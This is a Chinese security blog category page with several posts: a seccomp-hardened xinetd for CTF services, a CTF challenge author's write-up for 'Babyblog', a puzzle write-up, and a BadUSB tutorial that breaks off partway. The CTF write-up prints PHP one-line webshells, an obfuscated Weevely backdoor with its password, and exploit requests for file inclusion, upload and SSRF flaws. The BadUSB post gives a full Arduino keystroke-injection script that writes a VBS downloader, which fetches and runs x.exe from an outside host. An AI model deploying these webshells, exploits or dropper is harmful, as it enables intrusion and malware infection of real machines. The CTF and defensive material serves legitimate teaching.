分类目录归档:安全向

xinetd-kafel – 一个更安全的xinetd服务

为了保证CTF解题/渗透赛中PWN服务有更稳定的表现(预防搅屎棍)和CTF攻防赛中有人使用ptrace/seccomp等系统调用做通用防御,我在xinetd中加入了对syscall的过滤。感谢Google的Kafel项目,给编写seccomp bpf代码提供了一种更方便的方法。

0x00 前言:为啥要搞这个东西?

众所周知,在CTF线下赛中,各大主办方明令禁止使用通用防御软件/规则对赛题进行防御。但是目前在国内外的各大比赛中,PWN题目多用socat或xinetd提供服务。而这两个组建都太过简陋,无法提供精细的系统调用控制,主办方对通防工具的检查多为人工登陆gamebox检查。
在近日结束的一场线下赛中,某战队向我反馈成功的使用了我在去年编写的一个PWN通防工具苟到了最后(关于这个工具的原理如果有兴趣欢迎star一下对应项目,人数多的话我会再开坑写文章)。
我也惊讶于主办方竟然对这么大型的通防工具都没有察觉。

而在CTF解题赛/渗透赛中,虽然有docker这一容器技术可以为pwn题目隔离运行环境,限制运行资源,方便重启等维护工作,但依然难以避免有部分搅屎选手采用诸如Fork炸弹等手段对服务器进行DoS攻击。
因此,对一些用不到的的系统调用进行限制,也可以大大减少搅屎棍选手的数量。(Docker已直接支持对container内程序进行系统调用限制Read More

因此,xinetd-kafel这一改版的xinetd服务油然而生。

0x01 原理:你对xinetd做了点啥?

其实修改xinetd让其支持对系统调用的过滤这一想法最早在Defcon 2015 Final时就已被其主办方实现。但主办方并未开源其xinetd代码(也可能是我没找到),而且其只能在xinetd的配置文件中对syscall进行简单的黑白名单过滤,难以有效限制日渐增长的搅屎大军。
让程序支持syscall过滤通常来讲有两种办法:
1. ptrace
2. seccomp
其中,ptrace就是linux下gdb用来调试程序所使用的syscall,而且其功能如其名,process trace, 用于跟踪进程的各种调用。
但是由于ptrace使用过于复杂,我们在xinetd中,并未使用这一方式,而采用了seccomp。

seccomp是个啥?

seccomp - operate on Secure Computing state of the process
seccomp 中文直译就是“操作进程的安全计算状态”,其实就是通知内核对进程的系统调用进行限制。几年前CentOS/RedHat Linux默认启用的selinux底层就是使用的这个系统调用对进程进行系统调用限制。当年应该人人装完linux的第一件事就是关掉selinux。现在的Ubuntu和CentOS都已不再默认安装或开启selinux了。
通过man seccomp我们就能看到seccomp的相关调用方法。

prctl(PR_SET_SECCOMP, SECCOMP_MODE_XX, args);
seccomp(SECCOMP_MODE_XX, flags, args);

linux Man page对seccomp的描述非常有歧义,其提供了如上两种接口,这里我把其参数相应的对应了起来。seccomp的第二个参数flags很难查到相关资料,而且在我们的场景下并不影响使用,就不再多做解释。seccomp调用会对当前进程及其子进程生效,如果我们调用seccomp之后,当前进程的系统调用就会被限制。

SECCOMP_MODE_XX共有两种选择:
1. SECCOMP_MODE_STRICT
2. SECCOMP_MODE_FILTER

SECCOMP_MODE_STRICT 会将系统调限制在 read, write, _exit (but not exit_group), sigreturn中。 我们可以编写一个小程序测试一下:

#include <stdio.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <linux/signal.h>
#include <sys/prctl.h>
#include <unistd.h>

int main(void)
{
    puts("a");
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT, 0);
    puts("b");
    system("echo c");
    return 0;
}

编译运行后结果如下:

xm1994@xm1994-vm:~$ ./a.out 
a
b
Killed

程序在执行到system函数后就提示了Killed。这是因为在执行system时,会调用fork和execve两个系统调用。
如果我们删掉system()函数后再运行呢?程序依然会提示killed。这个问题是由于在新版的libc中,main函数退出后。libc_start_main会调用exit_group(0)结束程序以及其子进程(感觉是为了防止僵尸进程?),但再旧版的libc中,执行的是exit()。

SECCOMP_MODE_FILTER 模式则允许传入一个过滤器参数,进行自定义的系统调用过滤。

这过滤器咋搞啊?

seccomp使用的过滤器叫BPF, 允许在内核中直接设置数据包过滤模式。 我们使用wireshark/tcpdump进行网络抓包时,设置的抓包规则就会被编译成bpf送入内核。在内核中,系统调用流程也会反映在网络数据包(特殊的)的处理流程中(还有很多其他的系统事件也会以数据包的形式存在)。因此,我们也可以通过编译bpf规则到内核中,来自定义seccomp的过滤规则。

 struct sock_fprog {
    unsigned short      len;    /* Number of BPF instructions */
    struct sock_filter *filter; /* Pointer to array of
                                    BPF instructions */
};

Each program must contain one or more BPF instructions:

struct sock_filter {            /* Filter block */
    __u16 code;                 /* Actual filter code */
    __u8  jt;                   /* Jump true */
    __u8  jf;                   /* Jump false */
    __u32 k;                    /* Generic multiuse field */
};

bpf规则实际上是在内核中的bpf虚拟机中运行,也就是说他也是一种opcode,因此,我们需要一些工具去生成相应的opcode。一个比较常用的工具是libseccomp,它可以通过一些接口来生成bpf规则代码。但使用libseccomp的话就需要自己写一个parser去调用相关的接口了。万幸,在调研中,我发现了谷歌的某个员工编写的kafel库, 他可以很方便的将文本描述的过滤规则编译成sock_fprog结构体。

0x02 修改:你到底改了点啥?

在阅读了xinetd代码后,发现其代码结构是相当的干净易于理解的。我在其配置文件parser中添加了kafel_rule 这一选项,用于指定kafel规则文件。随后将文件编译为sock_fprog结构体保存在每个service的配置中。
xinetd在接收到连接后会fork出来一个子进程,随后通过dup/dup2进行流重定向。在流重定向完成后,会调用execve执行目标服务程序。这一过程类似于在shell中执行程序并对流重定向,如果读者实现过简易的shell,应该很好理解。
我们只需要在execve之前调用 prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, args); 便可对目标服务程序设定seccomp规则。

这一修改其实十分简单,代码的总变更行数不超过200行。

0x03 效果:真管用?

当然管用了,不信自己试试。

这个版本的xinetd我们已经应用到了战队布置pwn题使用的docker image:ctf-xinetd中。欢迎各位大师傅脱下来试用,好用的话别忘点个star~。

0x04 目标:理想很丰满

这个工具我用了不到六个小时就写完了。之所以这么赶时间,是希望在即将到来的国赛和以后的比赛中,能有主办方使用和推广这一工具,为选手提供更加干净公平的比赛环境。最终目的当然是国内外的所有比赛都能用上这一工具,但是理想很丰满,怕是到最后只有我们战队和比较熟悉的几个战队办比赛才会用吧233333。

XMan2017夏令营结业攻防赛Babyblog出题思路&WriteUP

XMan 2017 AWD Babyblog author’s turtoral & writeup

0x00 出题思路

常见一句话木马

一句话木马是在日常攻击和渗透中使用的最广泛的一类木马,其具有代码量小,变形多,易隐藏等特性。这类一句话木马多为通过eval或类似命令直接执行对应语言的字符串代码,达到可以执行任意命令的效果。在本题中,我一共放置了四种不同类型的一句话木马:

# 1. app/template/*.tpl
eval($_POST[passwd])

# 2. app/controllers/PostsController.php 
$_GET[function]($_POST[params])

# 3. bootstrap/autoload.php
echo `$_POST[shellcmd]`

# 4. app/views/errors/404.blade.php
@preg_replace("/[pageerror]/e", $_POST['passwd'], "saft");

常见大马

相比于小马,这类木马通常体积稍大,更不易隐藏。但其中可以包含更多加密和混淆的措施,使攻击行为更不容易被察觉。在本题中,我放置了一个Weevely木马,其密码为xman1234

# 1. autoload_real.php
$i='er";$K3i=$m[1][0K3].K3$m[1K3]K3[1];$hK3=$K3sl($ss(K3md5($i.$kh),0,K33));$f=$sl(K3$sK3s(md5($i.$';
$D='kfK3K3),0,3));$p="K3";foK3K3r(K3$K3z=1;$z<count($m[1]);K3$z++)$pK3.=$q[$m[K32K3][K3K3$z]];if(sK';
$v='3LANK3GUAK3GE"];if($rr&&$ra)K3{$u=paK3rK3K3sK3K3e_url($rr);parse_str($uK3["query"],$qK3);$q=arK';
$B='[$i].=$p;$eK3=strpK3oK3s($s[$i]K3,$f);ifK3($eK3){$k=$khK3.K3$kf;oK3b_start();@evaK3l(@gzuncK3om';
$o='3;}}return K3$oK3;}$rK3=$_K3SERVER;$K3rr=@$r[K3"HTTP_REFEREK3R"];$ra=K3@$r["K3HTTP_AK3CCK3EPT_K';
$O='K3;iK3f($q&K3&$m){@sesK3sioK3n_start()K3;$s=K3&$_SK3ESSIK3OK3N;$ss="substK3r";$sK3l="strtK3olow';
$H='3="";for($i=0;$i<$l;K3){fK3orK3($j=0;($j<$K3c&&$i<$K3lK3)K3;$j++K3,$i++){$o.=$tK3{$i}^$k{$K3j}K';
$c='$K3ss($s[$i],0K3,$eK3))),$k))K3);$K3o=oK3b_get_conK3tentsK3();ob_enK3d_cK3lean();K3K3$d=baseK36';
$m='4_encode(x(K3gzcompK3ress($oK3),$kK3));print("<K3$k>$dK3K3</$k>"K3);@sK3ession_deK3stroy();}}}}';
$t='$kh="a8bK3b";$K3kf="c44K3K3a";funK3ctK3ion x($t,$k){$cK3=sK3trlen($kK3);$l=stK3rlK3en($t);K3$oK';
$M='prK3ess(@x(@bK3aK3se64K3_decodeK3(pregK3_replaK3ce(aK3rray("/_/",K3"/-/"),arrK3ay(K3"/","K3+"),';
$f='3trposK3($p,$h)===0K3){$s[$i]=""K3;$p=$sK3s($pK3,3);}K3K3if(array_key_exisK3ts($i,K3$K3sK3)){$s';
$Q=str_replace('d','','crdddeatde_fdunctdion');
$b='3raK3y_vK3alues(K3$q)K3;preg_mK3aK3tch_all("K3/(K3[\\K3w])[\\w-]+(?:;q=0.([\\d]))K3?,K3?/",$ra,$m)';
$l=str_replace('K3','',$t.$H.$o.$v.$b.$O.$i.$D.$f.$B.$M.$c.$m);
$q=$Q('',$l);$q();

在这段大马中,$Q$l均为字符串。Weevely借助PHP可以将函数名字符串用作类似函数指针的特性,来构造木马。

$Q = create_function

$kh = "a8bb";
$kf = "c44a";
function x($t, $k) {
	$c = strlen($k);
	$l = strlen($t);
	$o = "";
	for ($i = 0;$i < $l;) {
		for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
			$o.= $t{$i} ^ $k{$j};
		}
	}
	return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
	$u = parse_url($rr);
	parse_str($u["query"], $q);
	$q = array_values($q);
	preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
	if ($q && $m) {
		@session_start();
		$s = & $_SESSION;
		$ss = "substr";
		$sl = "strtolower";
		$i = $m[1][0] . $m[1][1];
		$h = $sl($ss(md5($i . $kh), 0, 3));
		$f = $sl($ss(md5($i . $kf), 0, 3));
		$p = "";
		for ($z = 1;$z$d");@session_destroy();}}}}
"

任意文件包含

任意文件包含多为服务端程序在开发时没对可包含目录和文件做限制,导致可以读取任何文件。一般的表现形式为http://localhost/page=index或类似方式。本题中,我们在博客文章中引入了正文模板,这里的模板就具有文件包含漏洞。

# 1. app/views/posts/show.blade.php
<div class="article-body">
    {{ require __DIR__."/../../template/".$post->template }}
    {{ $post->body }}
</div>

任意文件上传

任意文件上传多为服务端程序在开发时,未对可上传文件的扩展名进行限制,导致可以上传服务器脚本,并通过HTTP访问执行。本题中,我们在博客文章图片上传处未对可上传文件做限制。

# 1. app/controllers/PostsController.php
    public function uploadImage()
    {
        $data = [
            'success' => false,
            'msg' => 'Failed!',
            'file_path' => ''
        ];

        if ($file = Input::file('upload_file'))
        {
            $fileName        = $file->getClientOriginalName();
            $extension       = $file->getClientOriginalExtension() ?: 'png';
            $folderName      = '/uploads/images/' . date("Ym", time()) .'/'.date("d", time()) .'/'. Auth::user()->id;
            $destinationPath = public_path() . $folderName;
            $safeName        = str_random(10).'.'.$extension;
            $file->move($destinationPath, $safeName);
            $data['file_path'] = $folderName .'/'. $safeName;
            $data['msg'] = "Succeeded!";
            $data['success'] = true;
        }
        return $data;
    }

服务端请求伪造

服务端请求伪造是指在开发过程中,有些用户提交的资源(如图片,文字等)需要加载到服务器本地进行处理,但服务端并未对资源地址进行限制,导致的可以探测服务器内网或任意本地文件读取。本题中,我们设计了/resolve_image这个调用,但是并没有制作相应的前端页面。

# 1. app/controllers/PostsController.php
    public function resolveImage()
    {
        $resp = [
            'success' => false,
            'msg' => 'Failed!',
            'file_path' => ''
        ];

        $data = Input::only('resolve_file');

        $content = @file_get_contents($data['resolve_file']);
        if ($content)
        {
            $extension       = 'png';
            $folderName      = '/uploads/images/' . date("Ym", time()) .'/'.date("d", time()) .'/'. Auth::user()->id;
            $destinationPath = public_path() . $folderName;
            $safeName        = str_random(10).'.'.$extension;
            @mkdir($destinationPath, 0755, true);
            @file_put_contents($destinationPath .'/'. $safeName, $content);
            $resp['file_path'] = $folderName .'/'. $safeName;
            $resp['msg'] = "Succeeded!";
            $resp['success'] = true;
        }
        return $resp;
    }

0x01 审计与防御方式

常见一句话木马

可以通过grep或find等命令搜索相关关键字(如eval, system, passthru, $_POST, $_REQUEST)等,来快速定位相关位置,随后对源码进行审查。这类木马通常不会影响程序运行逻辑,因此可以直接删除相关代码。

$ grep -re eval
vendor/d11wtq/boris/lib/Boris/EvalWorker.php:        $__result = eval($__input);
vendor/d11wtq/boris/lib/Boris/EvalWorker.php:        eval($__hook);
app/template/3.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";
app/template/1.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";
app/template/2.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";

$grep -re \$_POST
bootstrap/compiled.php:        $request = self::createRequestFromFactory($_GET, $_POST, array(), $_COOKIE, $_FILES, $_SERVER);
bootstrap/compiled.php:        $_POST = $this->request->all();
bootstrap/compiled.php:        $request = array('g' => $_GET, 'p' => $_POST, 'c' => $_COOKIE);
bootstrap/autoload.php:echo `$_POST[checker]`;
public/packages/frozennode/administrator/js/ckeditor/samples/assets/posteddata.php:if (!empty($_POST))
...
app/views/errors/404.blade.php:@preg_replace("/[pageerror]/e", $_POST['notfound'], "saft");
app/storage/views/dde1e00e577ea930001955e78ec38ca4:@preg_replace("/[pageerror]/e", $_POST['notfound'], "saft");
app/template/3.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";
app/template/1.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";
app/template/2.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";

常见大马

基本方法同小马,但由于大马结构复杂,更加需要平时的积累和人工分析能力。这类木马通常不会影响程序运行逻辑,因此可以直接删除相关代码或文件。

任意文件包含

可以通过grep或find等命令搜索相关关键字(如include, require)等,来快速定位相关位置,随后对源码进行审查。但因为这类关键词几乎在所有的代码文件中都存在,审查难度相对较大。但由于任意文件包含一般出现在业务逻辑内,与常用库的包含方式有所区别,有能力的团队可以开发一些审计工具,对其特征进行审计,也可以从业务逻辑入手对相关代码进行审计。由于这类问题会影响程序运行逻辑,因此需要选手理解题意,根据题目的业务逻辑修复代码或添加防御措施。

在本题中,容易发现系统自带的三个模板均以[0-9]\.tpl命名,因此在相关业务逻辑中,对提交的模板名称进行过滤即可。具体的位置如下。

# 1. app/controllers/PostsController.php
public function store()
{
    $validator = Validator::make(Input::all(), Post::$rules);
    
    if ($validator->fails())
    {
        return Redirect::back()->withErrors($validator)->withInput();
    }
    $data = Input::only('title', 'body', 'category_id', 'template');
    $data['user_id'] = Auth::user()->id;
    $data['body'] = Purifier::clean($data['body'], 'ugc_body');
    
    $post = Post::create($data);
    $post->tag(Input::get('tags'));
    
    Flash::success(lang('Operation succeeded.'));
    return Redirect::route('posts.show', $post->id);
}
# 2. app/controllers/PostsController.php
public function update($id)
{
    $post = Post::findOrFail($id);
    $this->authorOrAdminPermissioinRequire($post->user_id);
    $validator = Validator::make($data = Input::all(), Post::$rules);
    if ($validator->fails())
    {
            return Redirect::back()->withErrors($validator)->withInput();
    }
    
    $data['body'] = Purifier::clean($data['body'], 'ugc_body');
    
    $post->update($data);
    $post->retag(Input::get('tags'));
    
    Flash::success(lang('Operation succeeded.'));
    return Redirect::route('posts.show', $post->id);
}

在这两个函数中,对$data['template']提供的文件名进行正则匹配过滤即可。

任意文件上传

可以通过grep或find等命令搜索相关关键字(如upload, $_FILES, move_uploaded_file, move)等,来快速定位相关位置,随后对源码进行审查。这类漏洞一般比较容易进行审查,相关关键词即可大致定位可能出现问题的位置。由于这类函数用途很多,因此审计难度也相对较大。建议从业务逻辑入手对相关代码进行审计。由于这类问题会影响程序运行逻辑,因此需要选手理解题意,根据题目的业务逻辑修复代码或添加防御措施。

在本题中,容易发现博客文章图片上传功能未对文件类型进行过滤,我们需要修改相关代码,过滤掉可能导致上传木马文件的扩展名。

# 1. app/controllers/PostsController.php
public function uploadImage()
{
    $data = [
        'success' => false,
        'msg' => 'Failed!',
        'file_path' => ''
    ];

    if ($file = Input::file('upload_file'))
    {
        $fileName        = $file->getClientOriginalName();
        $extension       = $file->getClientOriginalExtension() ?: 'png';
        $folderName      = '/uploads/images/' . date("Ym", time()) .'/'.date("d", time()) .'/'. Auth::user()->id;
        $destinationPath = public_path() . $folderName;
        $safeName        = str_random(10).'.'.$extension;
        $file->move($destinationPath, $safeName);
        $data['file_path'] = $folderName .'/'. $safeName;
        $data['msg'] = "Succeeded!";
        $data['success'] = true;
    }
    return $data;
}

这里可以简单的过滤$safeName中是否包含'php'等可作为脚本运行的文件扩展名字符串,发现问题直接返回错误即可。

服务端请求伪造

可以通过grep或find等命令搜索相关关键字(如file_get_content, curl)等,来快速定位相关位置,随后对源码进行审查。但由于这类函数用途很多,因此审计难度也相对较大。建议从业务逻辑入手对相关代码进行审计。由于这类问题会影响程序运行逻辑,因此需要选手理解题意,根据题目的业务逻辑修复代码或添加防御措施。

在本题中,此漏洞并不存在前端调用,因此只能对代码进行审计。可以发现在/resolve_file请求对应的处理函数中存在此类情况。

# 1. app/controllers/PostsController.php
public function resolveImage()
{
    $resp = [
        'success' => false,
        'msg' => 'Failed!',
        'file_path' => ''
    ];

    $data = Input::only('resolve_file');

    $content = @file_get_contents($data['resolve_file']);
    if ($content)
    {
        $extension       = 'png';
        $folderName      = '/uploads/images/' . date("Ym", time()) .'/'.date("d", time()) .'/'. Auth::user()->id;
        $destinationPath = public_path() . $folderName;
        $safeName        = str_random(10).'.'.$extension;
        @mkdir($destinationPath, 0755, true);
        @file_put_contents($destinationPath .'/'. $safeName, $content);
        $resp['file_path'] = $folderName .'/'. $safeName;
        $resp['msg'] = "Succeeded!";
        $resp['success'] = true;
    }
    return $resp;
}

可以发现这里file_get_contents直接传入了请求参数,而未对其做过滤,因此可能导致任意文件读取。这里可以通过检查$data['resolve_file']的开头是否为'http'并且对'localhost', '127.*.*.*'等相关的内网域名、IP等进行过滤。

0x02 漏洞利用方式

1. index

GET http://localhost:21000/?method=assert HTTP/1.1
Host: localhost:21000
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Referer: system('cat /home/web/flag/flag')

2. 404

POST http://localhost:21000/asdadasdaasd HTTP/1.1
Host: localhost:21000
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

notfound=system("cat%20%2Fhome%2Fweb%2Fflag%2Fflag")

在比赛现场由于部署时使用了php7, preg_match的r选项已无法使用,因此该漏洞失效。

3. upload_image

POST /upload_image

直接上传一句话木马,随后通过一句话木马利用。

4. weevely in autoload_real.php

$ weevely http://ip:port/any xman1234

随后通过weevely直接读flag

5. Post checker=shellcmd in autoload.php

POST http://localhost:21000/ HTTP/1.1
Host: localhost:21000
Content-Length: 41
Content-Type: application/x-www-form-urlencoded

checker=cat%20%2Fhome%2Fweb%2Fflag%2Fflag

6. template any file require

http://localhost:21000/posts/create在发布文章时修改提交的模板值

html
<div class="form-group">
    <select class="form-control" name="template">
    <option value="/../../../../../../home/web/flag/flag">Template 1</option>
    <option value="2.tpl">Template 2</option>
    <option value="3.tpl">Template 3</option></select>
</div>

随后新发布的文章中就会包含flag的值

7. resolve_file SSRF

POST http://localhost:21000/resolve_image HTTP/1.1
Host: localhost:21000
Content-Length: 112
Content-Type: application/x-www-form-urlencoded
Cookie: laravel_session=eyJpdiI6ImN0alBVaUVmSWhDKzlpVXhybGVPZXc9PSIsInZhbHVlIjoianU3Ym9CcXFOeVN4bW5nS0k2MWxcL25Ed0FBN2s5VFg5SFlxRGl5eW12b1J4bkpSTFl3QzR3d0l4bUtvTzhMNklEQndEdlRDMVF0UmtSTllnVlNOaUR3PT0iLCJtYWMiOiJjNWNiNmMyODNjYmU1MGUyYTE0OWY0ZTMxMGQ4ZTRmM2Q2MDRhMDBjOWJmNTU4MGJjMDY1NGRkNzdjNDJhYjYwIn0%3D

resolve_file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D../../../../../../home/web/flag/flag

随后根据返回的json文件中file_path的值下载文件后base64解码即为flag

 

0x03 总结

这次出题难度属于较为简单的,考察的也是最基础的一些常见web注入点。但由于时间关系和比赛性质,没有对XSS,CSRF,SQL注入等知识点进行考察,且所有的漏洞点均为可直接利用,没有需要二次利用的漏洞。以后可能会尝试出一些和密码学/misc/pwn相结合的web攻防题。最后也恭喜在这次夏令营中取得优异成绩的各位大师傅!

白菜哥的新年独享100块解谜红包WriteUp

白菜哥的新年大红包由两部分组成,

Part1:[F1129B4C724435598515598630AC61A8]

Part2:

白菜哥红包Part2

 

扫描二维码后得到网址http://7sbxnl.com1.z0.glb.clouddn.com/dahongbao.txt

下载TxT,打开后发现是Base64编码后的文字。

Part2-1

使用Base64解码后,用file命令查看文件类型。得知是win32下压缩的rar压缩包。

cat dahongbao.txt | base64  -d  >dahongbao.bin
file dahongbao.bin

打开压缩包后,发现文件有密码,无法继续进行。

Part2-2

回归Part1下手,容易发现Part1是使用摘要算法后的Hash。实际这里使用的是md5。在cmd5等查询网站查询均无结果。将Part1直接拖入百度搜索,得到如下结果:

Part1-1

得到hash对应的字符串:

+ibcerj?ianu

这里加密采用了Qwerty键盘和Dvoark键盘的映射加密。根据对应规则解密得到

}gnidoc{galf

将顺序颠倒后便是

flag{coding}

根据之前发布的提示,rar密码为c0d1ng。解压rar获得havefun.txt。打开后看到“This program cannot be run in DOS mode.”便知道为Windows 可执行文件,与file命令得到的类型一致。修改后缀为exe。运行后弹出错误提示。

Part2-3-1

考虑到可执行文件无法执行,可能为PE头错误,用二进制编辑器打开havefun.exe,发现其中一个偏移量9000有问题,对应位置应为8000,修复后保存

Part2-3-2

运行后可获得一串数字,且没有数字大于7,因此考虑为八进制数。

170157 122707 113150 24304 107577 166230 112777 167224 131307 136626 167174 126377

反汇编原始程序,定位到main()入口,发现循环调用了part1函数,并且输出part1的返回值,共循环12次,输出使用”%o”格式化。

Part2-5

定位到part1函数,发现part2函数将传入参数加7dfh后返回。7dfh=2015d。因为今年是2015年,猜测加密函数f(x) = x+2015,因此将上面的八进制串每个都减掉7dfh。

Part2-5-2

得到十六进制的数字串

E890 9DE8 8E89    20E5    87A0 E4B9 8E20 E6B5 AAE8 B5B7 E69D A520 E587 A020 E59D 97E9 92B1 20EF BC9F。

每两位分割添加%号并且url解码后得到中文

“萝莉 几乎 浪起来 几 块钱 ?”

这一层加密采用的是拼音与T9的对应。萝莉为loli 对应56 54 ,几乎 对应54 48, 浪起来 对应57 51, 几 对应54  块钱 对应57。56 54 54 48 57 51 54 57再查ascii码表发现全部为数字,86609369,为最终的红包密码。

总的来说最后一步需要一定的运气。其他的步骤还算正常。很可惜没有人在10小时内拿到这个一人独吞100元大红包。

将简易的Teensy脚本刷入Arduino

首先,你需要有个Arduino Leonardo或者SparkFun Pro Micro

pro micro

Leonardo

 

然后,你需要kali的Social-Engineer Toolkit来生成几个脚本

# setoolkit

如下选择

 1) Social-Engineering Attacks
      6) Arduino-Based Attack Vector
          2) WSCRIPT HTTP GET MSF Payload

这个选择会生成一个模拟键盘构造vbs脚本从服务器上下载x.exe然后执行的BadUSB脚本。再输入一些必要的信息后,就会在~/.set/reports/ 目录下面生成arduino的程序。

//
// Social-Engineer Toolkit Teensy Attack Vector
// Written by: Dave Kennedy (ReL1K) and Josh Kelley (WinFaNG)
//
// Special thanks to: Irongeek
// Improved and adapted by Peter Österberg
//
// 2011-02-28 padzero@gmail.com
// * Added "ALT code" print functions (ascii_*): Fixed payload execution on non-english keymap targets
// * Removed blinking LED: Improved stealth *woo*
//

int myKeyBreak = 50;

void setup() {
  delay(10000);
  omg("cmd.exe");
  delay(500);
  ascii_println("del x.exe");
  delay(myKeyBreak);
  ascii_println("echo strFileURL = "http://1.1.1.1/x.exe" > omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo strHDLocation = "x.exe" >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo objXMLHTTP.open "GET", strFileURL, false >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo objXMLHTTP.send() >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo If objXMLHTTP.Status = 200 Then >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo Set objADOStream = CreateObject("ADODB.Stream") >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo objADOStream.Open >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo objADOStream.Type = 1 >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo objADOStream.Write objXMLHTTP.ResponseBody >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo objADOStream.Position = 0 >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo Set objFSO = Createobject("Scripting.FileSystemObject") >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo Set objFSO = Nothing >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo objADOStream.SaveToFile strHDLocation >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo objADOStream.Close >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo Set objADOStream = Nothing >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo End if >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("echo Set objXMLHTTP = Nothing >> omg.vbs");
  delay(myKeyBreak);
  ascii_println("exit");
  delay(1000);
  omg("cmd /c cscript omg.vbs");
  delay(8000);
  omg("cmd /c del omg.vbs");
  delay(1000);
  omg("cmd /c x.exe");
  delay(1000000);
}
void loop() {
}

void ascii_println(char *string)
{
  ascii_type_this(string);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  delay(100);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(100);
}


void ascii_type_this(char *string)
{
  int count, length;
  length = strlen(string);
  for(count = 0 ; count < length ; count++)
  {
    char a = string[count];
    ascii_input(ascii_convert(a));
  }
}

void ascii_input(char *string)
{
  if (string == "000") return;
  int count, length;
  length = strlen(string);
  Keyboard.set_modifier(MODIFIERKEY_ALT);
  Keyboard.send_now();
  for(count = 0 ; count < length ; count++)
  {
    char a = string[count];
    if (a == '1') Keyboard.set_key1(KEYPAD_1);
    if (a == '2') Keyboard.set_key1(KEYPAD_2);
    if (a == '3') Keyboard.set_key1(KEYPAD_3);
    if (a == '4') Keyboard.set_key1(KEYPAD_4);
    if (a == '5') Keyboard.set_key1(KEYPAD_5);
    if (a == '6') Keyboard.set_key1(KEYPAD_6);
    if (a == '7') Keyboard.set_key1(KEYPAD_7);
    if (a == '8') Keyboard.set_key1(KEYPAD_8);
    if (a == '9') Keyboard.set_key1(KEYPAD_9);
    if (a == '0') Keyboard.set_key1(KEYPAD_0);
    Keyboard.send_now();
    Keyboard.set_key1(0);
    delay(11);
    Keyboard.send_now();
  }
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

char* ascii_convert(char string)
{
  if (string == 'T') return "84";
  if (string == ' ') return "32";
  if (string == '!') return "33";
  if (string == '"') return "34";
  if (string == '#') return "35";
  if (string == '$') return "36";
  if (string == '%') return "37";
  if (string == '&') return "38";
  if (string == ''') return "39";
  if (string == '(') return "40";
  if (string == ')') return "41";
  if (string == '*') return "42";
  if (string == '+') return "43";
  if (string == ',') return "44";
  if (string == '-') return "45";
  if (string == '.') return "46";
  if (string == '/') return "47";
  if (string == '0') return "48";
  if (string == '1') return "49";
  if (string == '2') return "50";
  if (string == '3') return "51";
  if (string == '4') return "52";
  if (string == '5') return "53";
  if (string == '6') return "54";
  if (string == '7') return "55";
  if (string == '8') return "56";
  if (string == '9') return "57";
  if (string == ':') return "58";
  if (string == ';') return "59";
  if (string == '<') return "60";
  if (string == '=') return "61";
  if (string == '>') return "62";
  if (string == '?') return "63";
  if (string == '@') return "64";
  if (string == 'A') return "65";
  if (string == 'B') return "66";
  if (string == 'C') return "67";
  if (string == 'D') return "68";
  if (string == 'E') return "69";
  if (string == 'F') return "70";
  if (string == 'G') return "71";
  if (string == 'H') return "72";
  if (string == 'I') return "73";
  if (string == 'J') return "74";
  if (string == 'K') return "75";
  if (string == 'L') return "76";
  if (string == 'M') return "77";
  if (string == 'N') return "78";
  if (string == 'O') return "79";
  if (string == 'P') return "80";
  if (string == 'Q') return "81";
  if (string == 'R') return "82";
  if (string == 'S') return "83";
  if (string == 'T') return "84";
  if (string == 'U') return "85";
  if (string == 'V') return "86";
  if (string == 'W') return "87";
  if (string == 'X') return "88";
  if (string == 'Y') return "89";
  if (string == 'Z') return "90";
  if (string == '[') return "91";
  if (string == '\') return "92";
  if (string == ']') return "93";
  if (string == '^') return "94";
  if (string == '_') return "95";
  if (string == '`') return "96";
  if (string == 'a') return "97";
  if (string == 'b') return "98";
  if (string == 'c') return "99";
  if (string == 'd') return "100";
  if (string == 'e') return "101";
  if (string == 'f') return "102";
  if (string == 'g') return "103";
  if (string == 'h') return "104";
  if (string == 'i') return "105";
  if (string == 'j') return "106";
  if (string == 'k') return "107";
  if (string == 'l') return "108";
  if (string == 'm') return "109";
  if (string == 'n') return "110";
  if (string == 'o') return "111";
  if (string == 'p') return "112";
  if (string == 'q') return "113";
  if (string == 'r') return "114";
  if (string == 's') return "115";
  if (string == 't') return "116";
  if (string == 'u') return "117";
  if (string == 'v') return "118";
